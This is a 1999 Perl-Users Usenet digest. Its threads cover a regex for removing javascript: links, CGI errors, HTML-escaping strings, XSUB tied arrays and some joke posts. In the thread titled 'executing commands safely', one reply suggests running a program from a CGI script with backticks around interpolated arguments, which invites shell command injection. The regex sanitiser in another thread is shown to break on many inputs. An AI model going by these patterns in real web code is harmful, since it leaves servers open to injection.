[12635] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 44 Volume: 9

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Jul 7 06:18:10 1999

Date: Wed, 7 Jul 1999 03:07:16 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Wed, 7 Jul 1999     Volume: 9 Number: 44

Today's topics:
    Re: Pls hlp with regex (elephant)
    Re: Pls hlp with regex (Andrew Allen)
    Re: Pls hlp with regex (Tad McClellan)
    Re: Pls hlp with regex (elephant)
    Re: Pls hlp with regex (elephant)
    Re: Pls hlp with regex newsmf@bigfoot.com
    Re: Pls hlp with regex (Abigail)
        POST Method Not Allowed Problem. <noel.dolan@virgin.net>
    Re: POST Method Not Allowed Problem. (Abigail)
    Re: POST Method Not Allowed Problem. (Alastair)
    Re: Printing compound variables (?) (Kai Henningsen)
    Re: Printing compound variables (?) (Kai Henningsen)
    Re: Problem with Black & Decker Continuous Cleaning Toa (William Herrera)
    Re: Problem with Black & Decker Continuous Cleaning Toa <revjack@radix.net>
    Re: Problem with Black & Decker Continuous Cleaning Toa (I R A Aggie)
    Re: Problem with Black & Decker Continuous Cleaning Toa <dgris@moiraine.dimensional.com>
    Re: Problem with Black & Decker Continuous Cleaning Toa (Jon Bell)
        Problems using magic with anonymous array in XSUB Mark.Peskin@motorola.com
        Programming Perl does not discuss the PERL5LIB variable <brannon@quake.usc.edu>
    Re: Programming Perl does not discuss the PERL5LIB vari (Chris Nandor)
        putting <> in a string <kmassey@mratings.com>
    Re: putting <> in a string <swiftkid@bigfoot.com>
    Re: putting <> in a string <kmassey@mratings.com>
    Re: putting <> in a string (Bart Lateur)
    Re: putting <> in a string (Abigail)
    Re: putting <> in a string <palincss@his.com>
    Re: putting <> in a string (Abigail)
    Re: putting <> in a string <swiftkid@bigfoot.com>
    Re: Q: executing commands safely <walton@frontiernet.net>
    Re: Q: executing commands safely <james@rtweb.net>
        Digest Administrivia (Last modified: 1 Jul 99) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Sat, 3 Jul 1999 15:59:10 +1000
From: e-lephant@b-igpond.com (elephant)
Subject: Re: Pls hlp with regex
Message-Id: <MPG.11e851b4bf6cab21989ad9@news-server>

newsmf@bigfoot.com writes ..
>I'm looking for a regex that replaces all occurrences of anything like
><a href=javascript:OpenPlayer('nfl','4290')   >
>by "xxx".

despite Tad's wild claims .. and assuming that all your <a> tags are in 
the (fairly standard) form of having 'href' as the first attribute then 
the following will work

#--begin
{
  undef local $/;

  open INPUT, "<filename" || die "Just for Bigman: $!\n";

  local $_ = <INPUT> || die "No data.\n";

  s/<a\s+href\s*=\s*"?\s*javascript.*?>/xxx/gis;

  print;

  close INPUT;
}
#--end

NB: this was tested on Tad's examples of why regex couldn't do this .. 
any other examples where this will fail are gleefully accepted *B^)

-- 
 jason - remove all hyphens for email reply -


------------------------------

Date: 3 Jul 1999 18:25:11 GMT
From: ada@fc.hp.com (Andrew Allen)
Subject: Re: Pls hlp with regex
Message-Id: <7llki7$a41$3@fcnews.fc.hp.com>

elephant (e-lephant@b-igpond.com) wrote:
: newsmf@bigfoot.com writes ..
: >I'm looking for a regex that replaces all occurrences of anything like
: ><a href=javascript:OpenPlayer('nfl','4290')   >
: >by "xxx".

: despite Tad's wild claims .. and assuming that all your <a> tags are in 
: the (fairly standard) form of having 'href' as the first attribute then 
: the following will work

: #--begin
: {
:   undef local $/;

:   open INPUT, "<filename" || die "Just for Bigman: $!\n";

:   local $_ = <INPUT> || die "No data.\n";

:   s/<a\s+href\s*=\s*"?\s*javascript.*?>/xxx/gis;

:   print;

:   close INPUT;
: }
: #--end

: NB: this was tested on Tad's examples of why regex couldn't do this .. 
: any other examples where this will fail are gleefully accepted *B^)

How about turning this valid href into invalid html:

  <a href="javascript/a>b"> 

changes into

  xxxb">

Andrew


------------------------------

Date: Sat, 3 Jul 1999 10:06:39 -0400
From: tadmc@metronet.com (Tad McClellan)
Subject: Re: Pls hlp with regex
Message-Id: <fd5ll7.ps4.ln@magna.metronet.com>

elephant (e-lephant@b-igpond.com) wrote:

:   s/<a\s+href\s*=\s*"?\s*javascript.*?>/xxx/gis;

: any other examples where this will fail are gleefully accepted *B^)


   $_ = '<a href="javascript" name=">>Cool!<<">';


   The spec doesn't say what to do when what appears to be a link
   is not a link, so this may or may not break it also:

$_ =<<ENDLINK;
<!--
This link is broken. Uncomment it after finding out the new URL
<a href="javascript">about javascript</a>
-->
ENDLINK


   If you have firm control over the HTML source, you can get away
   with hacking at it with regexen.

   If you need to deal with arbitrary HTML, then you need to
   do a Real Parse, or know that it is only "mostly" correct...


--
    Tad McClellan                          SGML Consulting
    tadmc@metronet.com                     Perl programming
    Fort Worth, Texas


------------------------------

Date: Sun, 4 Jul 1999 12:19:02 +1000
From: e-lephant@b-igpond.com (elephant)
Subject: Re: Pls hlp with regex
Message-Id: <MPG.11e96f9cd71d524b989ada@news-server>

Tad McClellan writes ..
>elephant (e-lephant@b-igpond.com) wrote:
>
>:   s/<a\s+href\s*=\s*"?\s*javascript.*?>/xxx/gis;
>
>: any other examples where this will fail are gleefully accepted *B^)
>
>
>   $_ = '<a href="javascript" name=">>Cool!<<">';
>
>$_ =<<ENDLINK;
><!--
>This link is broken. Uncomment it after finding out the new URL
><a href="javascript">about javascript</a>
>-->
>ENDLINK

points taken

-- 
 jason - remove all hyphens for email reply -


------------------------------

Date: Sun, 4 Jul 1999 12:23:24 +1000
From: e-lephant@b-igpond.com (elephant)
Subject: Re: Pls hlp with regex
Message-Id: <MPG.11e970a7ab4f6e71989adb@news-server>

Andrew Allen writes ..
>: NB: this was tested on Tad's examples of why regex couldn't do this .. 
>: any other examples where this will fail are gleefully accepted *B^)
>
>How about turning this valid href into invalid html:
>
>  <a href="javascript/a>b"> 

a valid example also .. although I prefer Tad's HTML tag inside a comment 
field example - because I think if you included a '>' in a filename then 
you're in for all the trouble you deserve

-- 
 jason - remove all hyphens for email reply -


------------------------------

Date: Sun, 04 Jul 1999 02:27:10 GMT
From: newsmf@bigfoot.com
Subject: Re: Pls hlp with regex
Message-Id: <7lmgpp$ieh$1@nnrp1.deja.com>

I'm trying to apply the regex you suggest to
http://www.sportingnews.com/nfl/teams/49ers/ to remove all the
<a href=javascript:OpenPlayer('nfl','4290')   >
but it still ain't working. Applying
s/<a\s+href\s*=\s*"?\s*javascript.*?>/xxx/gis;
cuts out far more than it should.

Is there something in the html code page that I'm missing? Thanks for
helping.

Cheers,

Marc.

In article <MPG.11e851b4bf6cab21989ad9@news-server>,
  e-lephant@b-igpond.com (elephant) wrote:
> newsmf@bigfoot.com writes ..
> >I'm looking for a regex that replaces all occurrences of anything
like
> ><a href=javascript:OpenPlayer('nfl','4290')   >
> >by "xxx".
>
> despite Tad's wild claims .. and assuming that all your <a> tags are
in
> the (fairly standard) form of having 'href' as the first attribute
then
> the following will work
>
> #--begin
> {
>   undef local $/;
>
>   open INPUT, "<filename" || die "Just for Bigman: $!\n";
>
>   local $_ = <INPUT> || die "No data.\n";
>
>   s/<a\s+href\s*=\s*"?\s*javascript.*?>/xxx/gis;
>
>   print;
>
>   close INPUT;
> }
> #--end
>
> NB: this was tested on Tad's examples of why regex couldn't do
this ..
> any other examples where this will fail are gleefully accepted *B^)
>
> --
>  jason - remove all hyphens for email reply -
>


Sent via Deja.com http://www.deja.com/
Share what you know. Learn what you don't.


------------------------------

Date: 4 Jul 1999 00:37:07 -0500
From: abigail@delanet.com (Abigail)
Subject: Re: Pls hlp with regex
Message-Id: <slrn7ntsnf.31h.abigail@alexandra.delanet.com>

elephant (e-lephant@b-igpond.com) wrote on MMCXXXIII September MCMXCIII
in <URL:news:MPG.11e96f9cd71d524b989ada@news-server>:
// Tad McClellan writes ..
// >elephant (e-lephant@b-igpond.com) wrote:
// >
// >:   s/<a\s+href\s*=\s*"?\s*javascript.*?>/xxx/gis;
// >
// >: any other examples where this will fail are gleefully accepted *B^)
// >
// >
// >   $_ = '<a href="javascript" name=">>Cool!<<">';
// >
// >$_ =<<ENDLINK;
// ><!--
// >This link is broken. Uncomment it after finding out the new URL
// ><a href="javascript">about javascript</a>
// >-->
// >ENDLINK
// 
// points taken


Some other things that will fail:

<a href  = 'javascript:Ha ha!'>
<a title = "Yummy" href = "javascript: Ha ha!">
<a href  = "javascript"/Fooled you/
<![CDATA INCLUDE [<a href = "javascript">]]>

Get yourself a real parser, like nsgmls, or at least something that's
at least as good as the leading browsers, like HTML::Parser. Of course,
the latter will get nettags and marked sections wrong.


Abigail
-- 
sub J::FETCH{Just   }$_.='print+"@{[map';sub J::TIESCALAR{bless\my$J,J}
sub A::FETCH{Another}$_.='{tie my($x),$';sub A::TIESCALAR{bless\my$A,A}
sub P::FETCH{Perl   }$_.='_;$x}qw/J A P';sub P::TIESCALAR{bless\my$P,P}
sub H::FETCH{Hacker }$_.=' H/]}\n"';eval;sub H::TIESCALAR{bless\my$H,H}


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: Mon, 5 Jul 1999 23:01:59 +0100
From: "noel dolan" <noel.dolan@virgin.net>
Subject: POST Method Not Allowed Problem.
Message-Id: <7lra0g$2s0$1@nclient3-gui.server.virgin.net>

Hi everyone,

I've got a little problem I hope someone can help me with.

I've got a html files within which I try to submit a .cgi script using
the POST method.  But when I try to submit the script I get the following
error message.

"Method Not Allowed"
"The requested method POST is not allowed for URL
/mysite.com/cgi-bin/test.cgi"

I'm afraid the support people at my Host server are none the wiser than
myself on this
matter, so I would really appreciate your help.

Also, does any know a site where I can find explanation of all cgi/perl
error messages??

Thank you in advance.

noel.dolan@virgin.net






------------------------------

Date: 5 Jul 1999 19:00:36 -0500
From: abigail@delanet.com (Abigail)
Subject: Re: POST Method Not Allowed Problem.
Message-Id: <slrn7o2hof.h6v.abigail@alexandra.delanet.com>

noel dolan (noel.dolan@virgin.net) wrote on MMCXXXIV September MCMXCIII
in <URL:news:7lra0g$2s0$1@nclient3-gui.server.virgin.net>:
%% Hi everyone,
%% 
%% I've got a little problem I hope someone can help me with.
%% 
%% I've got a html files within which I try to submit a .cgi script using
%% the POST method.  But when I try to submit the script I get the following
%% error message.
%% 
%% "Method Not Allowed"
%% "The requested method POST is not allowed for URL
%% /mysite.com/cgi-bin/test.cgi"

This seems a pretty clear error message to me. Perhaps you want to
consult a dictionary, to look up the meaning of the various words?

%% I'm afraid the support people at my Host server are none the wiser than
%% myself on this
%% matter, so I would really appreciate your help.

Well, in this case I have one very, very strong recommendation: run away
from them. Run, run, run! If they don't understand this message, they are
utterly clueless. You have a better chance at your local barber shop.

%% Also, does any know a site where I can find explanation of all cgi/perl
%% error messages??

Perl messages are in 'man perldiag'. There are no CGI error messages;
the protocol is too simplistic for dealing with errors. There are HTTP
error *codes*, which of course are explained in the appropriate RFCs.

Now, please ask futher questions in a different group. This group is
(utterly amazing considering its name) about Perl. Your problem is
100% Perl free.

Followups set.



Abigail
-- 
perl -MTime::JulianDay -lwe'@r=reverse(M=>(0)x99=>CM=>(0)x399=>D=>(0)x99=>CD=>(
0)x299=>C=>(0)x9=>XC=>(0)x39=>L=>(0)x9=>XL=>(0)x29=>X=>IX=>0=>0=>0=>V=>IV=>0=>0
=>I=>$r=-2449231+gm_julian_day+time);do{until($r<$#r){$_.=$r[$#r];$r-=$#r}for(;
!$r[--$#r];){}}while$r;$,="\x20";print+$_=>September=>MCMXCIII=>()'


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: Tue, 06 Jul 1999 00:11:19 GMT
From: alastair@calliope.demon.co.uk (Alastair)
Subject: Re: POST Method Not Allowed Problem.
Message-Id: <slrn7o2m2c.5p.alastair@calliope.demon.co.uk>

noel dolan <noel.dolan@virgin.net> wrote:
>Hi everyone,
>
>I've got a little problem I hope someone can help me with.
>
>I've got a html files within which I try to submit a .cgi script using
>the POST method.  But when I try to submit the script I get the following
>error message.
>
>"Method Not Allowed"
>"The requested method POST is not allowed for URL
>/mysite.com/cgi-bin/test.cgi"

That's a CGI (or web server) problem, probably not a perl issue.

>Also, does any know a site where I can find explanation of all cgi/perl
>error messages??

Look at the server error log - hopefully it will pinpoint the problem.

Check out the CGI module at : http://www.genome.wi.mit.edu/~lstein/

(perhaps write a test program)

HTH.

-- 

Alastair
work  : alastair@psoft.co.uk
home  : alastair@calliope.demon.co.uk


------------------------------

Date: 04 Jul 1999 21:36:00 +0200
From: kaih=7KFttYBXw-B@khms.westfalen.de (Kai Henningsen)
Subject: Re: Printing compound variables (?)
Message-Id: <7KFttYBXw-B@khms.westfalen.de>

abigail@delanet.com (Abigail)  wrote on 19.06.99 in <slrn7mo5o4.ch1.abigail@alexandra.delanet.com>:

> David Cassell (cassell@mail.cor.epa.gov) wrote on MMCXVIII September
> MCMXCIII in <URL:news:376BF911.16AF42CE@mail.cor.epa.gov>:

> \\ [5] many of them have never programmed before, and hence have
> \\     no idea that there might be a better way than
> \\     $$fred = 23;
>
> Strange. I never get the impression beginning C or Pascal programmers
> ask for this.

They may not *ask* for this, but I remember seeing programs written with  
large numbers of numbered variables where you'd cry "use an array, man"  
 ... of course, I see similar programs on clpm, too.

Kai
-- 
http://www.westfalen.de/private/khms/
"... by God I *KNOW* what this network is for, and you can't have it."
  - Russ Allbery (rra@stanford.edu)


------------------------------

Date: 04 Jul 1999 21:45:00 +0200
From: kaih=7KFttmkmw-B@khms.westfalen.de (Kai Henningsen)
Subject: Re: Printing compound variables (?)
Message-Id: <7KFttmkmw-B@khms.westfalen.de>

gellyfish@gellyfish.com (Jonathan Stowe)  wrote on 19.06.99 in <7kh5vd$4ju$1@gellyfish.btinternet.com>:

> On Sat, 19 Jun 1999 13:09:53 -0700 David Cassell wrote:

> > Clue-challenged.  These people are programming neonates,
> > and so they don't get it when we insist that they walk before
> > they run.  They just think, "Walk?  What's that?  Can someone
> > show me how to do that?"
> >
>
> Then they need to learn to *program* not 'Program in Perl', they need
> to know what the enterprise is about not just how to make the right moves
> so they'll get away with it, they need to be able to break down a problem
> into its constituent parts - I guess they dont have flowchart stencils in
> school stationers anymore.  I'm not suggesting that they should all read
> 'The Art of Computer Programming' (hey - I got to it fairly late ...)
> but there should be some basic level of understanding before they start.

I think the real problem is brainwashing from places like M$. M$ and  
friends tell people "you do not need to learn something to use a  
computer", and these people actually believe it.

For some reason, it never occurs to them that you have to learn every  
other thing in life, so it's pretty unlikely that computers are all that  
different.

And when they find out computers are not in fact different in that regard,  
they feel insulted by the people who explain the facts of life to them -  
when they *should* feel insulted by the marketing guys who suckered them  
in the first place.

People are funny that way. Cause and effect seems to often go over their  
head.

It's a people problem, and it's a *HARD* problem. If you ever find a  
solution, society will benefit enormously. I'm afraid there is no  
solution, though.

Kai
-- 
http://www.westfalen.de/private/khms/
"... by God I *KNOW* what this network is for, and you can't have it."
  - Russ Allbery (rra@stanford.edu)


------------------------------

Date: Sat, 03 Jul 1999 05:21:38 GMT
From: posting.account@lynxview.com (William Herrera)
Subject: Re: Problem with Black & Decker Continuous Cleaning Toast-R-Oven
Message-Id: <377d9d81.139890940@news.rmi.net>

On 2 Jul 1999 23:26:27 GMT, revjack <revjack@radix.net> wrote:

Subject: Problem with Black & Decker Continuous Cleaning Toast-R-Oven
Date: 2 Jul 1999 23:26:27 GMT
Organization: PLAY SOME PANTERA DAMMIT

X-Message-Format: SKRODE-MAINTENANCE
X-No-Archive: yes
X-SubGenius: yes
X-Troll: no
        ^^^      

LLPOF


---
The above from: address is spamblocked. Use wherrera (at) lynxview (dot) com for the reply address.


------------------------------

Date: 3 Jul 1999 12:05:04 GMT
From: revjack <revjack@radix.net>
Subject: Re: Problem with Black & Decker Continuous Cleaning Toast-R-Oven
Message-Id: <7lku9g$srb$2@news1.Radix.Net>
Keywords: Hexapodia as the key insight

William Herrera explains it all:

:On 2 Jul 1999 23:26:27 GMT, revjack <revjack@radix.net> wrote:

:X-Troll: no
:        ^^^      

:LLPOF

X-Troll: no
X-Parody: yes


------------------------------

Date: 3 Jul 1999 15:47:59 GMT
From: fl_aggie@thepentagon.com (I R A Aggie)
Subject: Re: Problem with Black & Decker Continuous Cleaning Toast-R-Oven
Message-Id: <slrn7nsc9s.aff.fl_aggie@thepentagon.com>

On 2 Jul 1999 23:26:27 GMT, revjack <revjack@radix.net>, in
<7ljhr3$kde$1@news1.Radix.Net> wrote:

+ Sorry if this has already been covered, but I checked all the FAQs. The
+ problem is the toaster lever on my Black & Decker Continuous Cleaning
+ Toast-R-Oven only stays down for a few seconds before popping up. It used
+ to work okay but now it doesn't. What am I doing wrong??? Is this a FAQ? I
+ am using perl version 5.004_04 built for sun4-solaris.

You should be using v5.005_03 built for ToastOS.

James


------------------------------

Date: 03 Jul 1999 10:08:05 -0600
From: Daniel Grisinger <dgris@moiraine.dimensional.com>
Subject: Re: Problem with Black & Decker Continuous Cleaning Toast-R-Oven
Message-Id: <m3g1351ztm.fsf@moiraine.dimensional.com>

[piggy backing on william's post, revjack's seems to have fallen
 off my spool]

posting.account@lynxview.com (William Herrera) writes:

> On 2 Jul 1999 23:26:27 GMT, revjack <revjack@radix.net> wrote:

> X-Message-Format: SKRODE-MAINTENANCE

ACK!!!  There goes the network.

Damn malicious transcendental software.  Go away before
we cast you to the unthinking depths[0].

dgris
0- located just outside of seattle. :-)
-- 
Daniel Grisinger          dgris@moiraine.dimensional.com
perl -Mre=eval -e'$_=shift;;@[=split//;;$,=qq;\n;;;print 
m;(.{$-}(?{$-++}));,q;;while$-<=@[;;' 'Just Another Perl Hacker'


------------------------------

Date: Sat, 3 Jul 1999 19:56:29 GMT
From: jtbell@presby.edu (Jon Bell)
Subject: Re: Problem with Black & Decker Continuous Cleaning Toast-R-Oven
Message-Id: <FEB8q6.7zz@presby.edu>
Keywords: Hexapodia as the key insight

 M.J.T. Guy <mjtg@cus.cam.ac.uk> wrote:
>
>Perl version 5.004_04 ???    Don't you realise that's more than 20 months
>old?    See
>
>       perldoc perlhist
>
>Its DWIM.pm module is not Y2K compatible, has numerous well-known bugs,
>not to mention security loopholes too appalling for CERT to report.

Specifically, it can burn your toast to a rock-hard crisp and fire it out
with such a velocity as to break your kitchen window, thereby letting a
burglar into your house.

-- 
Jon Bell <jtbell@presby.edu>                        Presbyterian College
Dept. of Physics and Computer Science        Clinton, South Carolina USA
        [     Information about newsgroups for beginners:     ]            
        [ http://www.geocities.com/ResearchTriangle/Lab/6882/ ]


------------------------------

Date: Mon, 05 Jul 1999 21:39:13 GMT
From: Mark.Peskin@motorola.com
Subject: Problems using magic with anonymous array in XSUB
Message-Id: <7lr8m0$sli$1@nnrp1.deja.com>

Hi all,

I am working on a project that incorporates
an embedded, extended version of Perl 5.005.

One feature of the embedded interpreter is a
mapping between a C++ class (ExpData) representing
a data table and an equivalent Perl class. One
thing I want to do is provide a Perl method (e.g.
table::column("name")) that returns a reference to
an anonymous array that is in turn tied a package
that maps the array to a specific named column in
the C++ ExpData object (Whew!). Unfortunately, I
am having trouble getting this to work.
Specifically, the appropriate methods in the tied
Package are not getting called when I use the
array reference.

Below is a listing of the XSUB that is invoked by
the table::column() method. This method is
supposed to create the anonymous array, tie it
to the appropriate package, and return a reference.
I was hoping somebody out there could tell me what
I am doing wrong:

XS(PerlManager::MT_COL)
{
  dXSARGS;
  if (items>1 && SvROK(ST(0))) {

    // Create array containing table pointer
    // (ST(0)) & column name (ST(1)) needed to
    // retrieve column in tied functions
    SV * columniddata[2];
    columniddata[0]=newSVsv(ST(0));
    columniddata[1]=newSVsv(ST(1));
    AV * cdata = av_make(2,columniddata);

    // Create reference to array and bless into
    // package containing tied functions
    SV * ref = newRV_noinc((SV *)cdata);
    sv_bless(ref,gv_stashpv(
            (char *)MT_COL_PACKAGE_NAME,TRUE));

    // Create empty array to tie to package and
    // tie it
    AV * tiedarray = newAV();
    sv_magic((SV *)tiedarray,ref,'P',0,0);

    // Create reference to tied array and
    // return it
    SV * retval = newRV_noinc((SV *)tiedarray);
    ST(0)=retval;
    XSRETURN(1);
  }
  else XSRETURN(0);
}


Thanks much,
Mark Peskin
Mark.Peskin@motorola.com


Sent via Deja.com http://www.deja.com/
Share what you know. Learn what you don't.


------------------------------

Date: 5 Jul 1999 04:08:42 -0700
From: tbrannon <brannon@quake.usc.edu>
Subject: Programming Perl does not discuss the PERL5LIB variable
Message-Id: <ysizaetbl5fr.fsf@nunki.usc.edu>


In my eyes, this is a serious shortcoming.

-- 
Terrence Brannon  * brannon@lnc.usc.edu * http://lnc.usc.edu/~brannon
		       (213) 740-3397 [office]


------------------------------

Date: Mon, 05 Jul 1999 13:11:59 GMT
From: pudge@pobox.com (Chris Nandor)
Subject: Re: Programming Perl does not discuss the PERL5LIB variable
Message-Id: <pudge-0507990912020001@192.168.0.17>

In article <ysizaetbl5fr.fsf@nunki.usc.edu>, tbrannon
<brannon@quake.usc.edu> wrote:

# In my eyes, this is a serious shortcoming.

Some of us think the name of the variable is a serious shortcoming, too.  :)

-- 
Chris Nandor          mailto:pudge@pobox.com         http://pudge.net/
%PGPKey = ('B76E72AD', [1024, '0824090B CE73CA10  1FF77F13 8180B6B6'])


------------------------------

Date: Sat, 03 Jul 1999 16:07:44 GMT
From: Kenneth Massey <kmassey@mratings.com>
Subject: putting <> in a string
Message-Id: <377E370E.C9D73342@mratings.com>

I need to have a variable like this for blat (i.e. the standard 
"name" <email> format for sending an email)

$sender = "\"Kenneth Massey\" <kemassey\@vt.edu>";

but somthing about the <> pair makes this not work.  I tried

$sender = "\"Kenneth Massey\" \<kemassey\@vt.edu\>";

but that didn't work either.  How can I put something inbetween a <>
pair?

Thanks,
Kenneth


------------------------------

Date: Sat, 3 Jul 1999 22:38:28 +0500
From: "Faisal Nasim" <swiftkid@bigfoot.com>
Subject: Re: putting <> in a string
Message-Id: <7lml3t$ai54@news.cyber.net.pk>

> $sender = "\"Kenneth Massey\" <kemassey\@vt.edu>";
>
> but somthing about the <> pair makes this not work.  I tried
>
> $sender = "\"Kenneth Massey\" \<kemassey\@vt.edu\>";
>
> but that didn't work either.  How can I put something inbetween a <>
> pair?

$sender = q!"your full name" <kemassey@vt.edu>!;

or

$sender = '"your full name" <kemassey@vt.edu>';





------------------------------

Date: Sat, 03 Jul 1999 19:41:41 GMT
From: "Kenneth Massey" <kmassey@mratings.com>
Subject: Re: putting <> in a string
Message-Id: <VHtf3.181$324.378@news.flash.net>

That doesn't work, as the following demonstrates (running on Windows NT)

print "Content-type: text/html\n\n";

 # $sender = '"Kenneth Massey" <kemassey@vt.edu>';
  $sender = q!"Kenneth Massey" <kemassey\@vt.edu>!;

print $sender;



Faisal Nasim wrote in message <7lml3t$ai54@news.cyber.net.pk>...
>> $sender = "\"Kenneth Massey\" <kemassey\@vt.edu>";
>>
>> but somthing about the <> pair makes this not work.  I tried
>>
>> $sender = "\"Kenneth Massey\" \<kemassey\@vt.edu\>";
>>
>> but that didn't work either.  How can I put something inbetween a <>
>> pair?
>
>$sender = q!"your full name" <kemassey@vt.edu>!;
>
>or
>
>$sender = '"your full name" <kemassey@vt.edu>';
>
>
>




------------------------------

Date: Sat, 03 Jul 1999 19:57:56 GMT
From: bart.lateur@skynet.be (Bart Lateur)
Subject: Re: putting <> in a string
Message-Id: <377e69a3.221292@news.skynet.be>

Kenneth Massey wrote:

>That doesn't work, as the following demonstrates (running on Windows NT)
>
>print "Content-type: text/html\n\n";
>
> # $sender = '"Kenneth Massey" <kemassey@vt.edu>';
>  $sender = q!"Kenneth Massey" <kemassey\@vt.edu>!;
>
>print $sender;
>

Oh! That's not a Perl problem, but a HTML problem. Just look at the
source for the HTML. You'll see the "<>" there. But the browser will
change that when formatting for display.

You need to HTML-encode the string to make it look "normal" in the
browser.

	$_ = "\"Kenneth Massey\" <kemassey\@vt.edu>";
	%HTMLencode = ( '<' => '&lt;', '>' => '&gt;', 
		'&' => '&amp;', '"' => '&quot;' );
	s/([<>&"])/$HTMLencode{$1}/g;

	print "Content-type: text/html\n\n";
	print;

BTW that's not valid HTML. And this is a minimal encoding example; there
are more elaborate libraries available, such as HTML::Entities.

	Bart.


------------------------------

Date: 3 Jul 1999 16:49:01 -0500
From: abigail@delanet.com (Abigail)
Subject: Re: putting <> in a string
Message-Id: <slrn7nt19r.31h.abigail@alexandra.delanet.com>

Kenneth Massey (kmassey@mratings.com) wrote on MMCXXXII September
MCMXCIII in <URL:news:377E370E.C9D73342@mratings.com>:
// I need to have a variable like this for blat (i.e. the standard 
// "name" <email> format for sending an email)
// 
// $sender = "\"Kenneth Massey\" <kemassey\@vt.edu>";
// 
// but somthing about the <> pair makes this not work.  I tried
// 
// $sender = "\"Kenneth Massey\" \<kemassey\@vt.edu\>";
// 
// but that didn't work either.  How can I put something inbetween a <>
// pair?


Could you please specify the "didn't work" part? And you might want
to use different quotes, to avoid all those backwacks.



Abigail
-- 
%0=map{reverse+chop,$_}ABC,ACB,BAC,BCA,CAB,CBA;$_=shift().AC;1while+s/(\d+)((.)
(.))/($0=$1-1)?"$0$3$0{$2}1$2$0$0{$2}$4":"$3 => $4\n"/xeg;print#Towers of Hanoi


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: Sat, 03 Jul 1999 17:48:34 -0400
From: Steve Palincsar <palincss@his.com>
Subject: Re: putting <> in a string
Message-Id: <377E8532.B1F41BCF@his.com>

Your two versions of $sender aren't equivalent.
Both are single quoted strings, but the one you
have commented out lacks the backslash before
the @ sign.

The both print correctly on a linux system,
except, of course, that the second version
introduces a needless backslash before the @
sign.

If "doesn't work ... running on Windows NT"
refers to some other kind of error, it must be
a Windows NT problem, not a perl problem.

Steve Palincsar

Kenneth Massey wrote:
> 
> That doesn't work, as the following demonstrates (running on Windows NT)
> 
> print "Content-type: text/html\n\n";
> 
>  # $sender = '"Kenneth Massey" <kemassey@vt.edu>';
>   $sender = q!"Kenneth Massey" <kemassey\@vt.edu>!;
> 
> print $sender;
> 
> Faisal Nasim wrote in message <7lml3t$ai54@news.cyber.net.pk>...
> >> $sender = "\"Kenneth Massey\" <kemassey\@vt.edu>";
> >>
> >> but somthing about the <> pair makes this not work.  I tried
> >>
> >> $sender = "\"Kenneth Massey\" \<kemassey\@vt.edu\>";
> >>
> >> but that didn't work either.  How can I put something inbetween a <>
> >> pair?
> >
> >$sender = q!"your full name" <kemassey@vt.edu>!;
> >
> >or
> >
> >$sender = '"your full name" <kemassey@vt.edu>';
> >
> >
> >


------------------------------

Date: 3 Jul 1999 16:50:33 -0500
From: abigail@delanet.com (Abigail)
Subject: Re: putting <> in a string
Message-Id: <slrn7nt1cn.31h.abigail@alexandra.delanet.com>

Kenneth Massey (kmassey@mratings.com) wrote on MMCXXXII September
MCMXCIII in <URL:news:VHtf3.181$324.378@news.flash.net>:
[] That doesn't work, as the following demonstrates (running on Windows NT)
[] 
[] print "Content-type: text/html\n\n";
[] 
[]  # $sender = '"Kenneth Massey" <kemassey@vt.edu>';
[]   $sender = q!"Kenneth Massey" <kemassey\@vt.edu>!;
[] 
[] print $sender;


It works fine for me. Perhaps a bug in NT?



Abigail
-- 
echo "==== ======= ==== ======"|perl -pes/=/J/|perl -pes/==/us/|perl -pes/=/t/\
 |perl -pes/=/A/|perl -pes/=/n/|perl -pes/=/o/|perl -pes/==/th/|perl -pes/=/e/\
 |perl -pes/=/r/|perl -pes/=/P/|perl -pes/=/e/|perl -pes/==/rl/|perl -pes/=/H/\
 |perl -pes/=/a/|perl -pes/=/c/|perl -pes/=/k/|perl -pes/==/er/|perl -pes/=/./;


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: Sun, 4 Jul 1999 10:35:43 +0500
From: "Faisal Nasim" <swiftkid@bigfoot.com>
Subject: Re: putting <> in a string
Message-Id: <7lnv52$ai57@news.cyber.net.pk>

> $_ = "\"Kenneth Massey\" <kemassey\@vt.edu>";
> %HTMLencode = ( '<' => '&lt;', '>' => '&gt;',
> '&' => '&amp;', '"' => '&quot;' );
> s/([<>&"])/$HTMLencode{$1}/g;


Better Approach:


use CGI qw/escapeHTML/;

# you don't need to escape @!
$sender = q!"Kenneth Massey" <kemassey@vt.edu>!;
print escapeHTML ( $sender );




------------------------------

Date: Mon, 05 Jul 1999 12:49:49 -0400
From: Bob Walton <walton@frontiernet.net>
To: fulko@wtm.tudelft.nl
Subject: Re: Q: executing commands safely
Message-Id: <3780E22C.30EB3AA2@frontiernet.net>

Fulko van Westrenen wrote:

> ...

> I want to start a program from a CGI-script and use the output
> sent to stdout.  Using
>

 ...
Hmm...maybe I'm missing something, but why don't you just use:

$output=`myprog @arg`;




------------------------------

Date: Tue, 06 Jul 1999 20:02:08 GMT
From: "James Mastros" <james@rtweb.net>
Subject: Re: Q: executing commands safely
Message-Id: <01bec7ea$a56fe100$5f66fad0@default>

Bob Walton <walton@frontiernet.net> wrote in article
<3780E22C.30EB3AA2@frontiernet.net>...
> Fulko van Westrenen wrote:
> 
> > ...
> 
> > I want to start a program from a CGI-script and use the output
> > sent to stdout.  Using
> >
> 
> ...
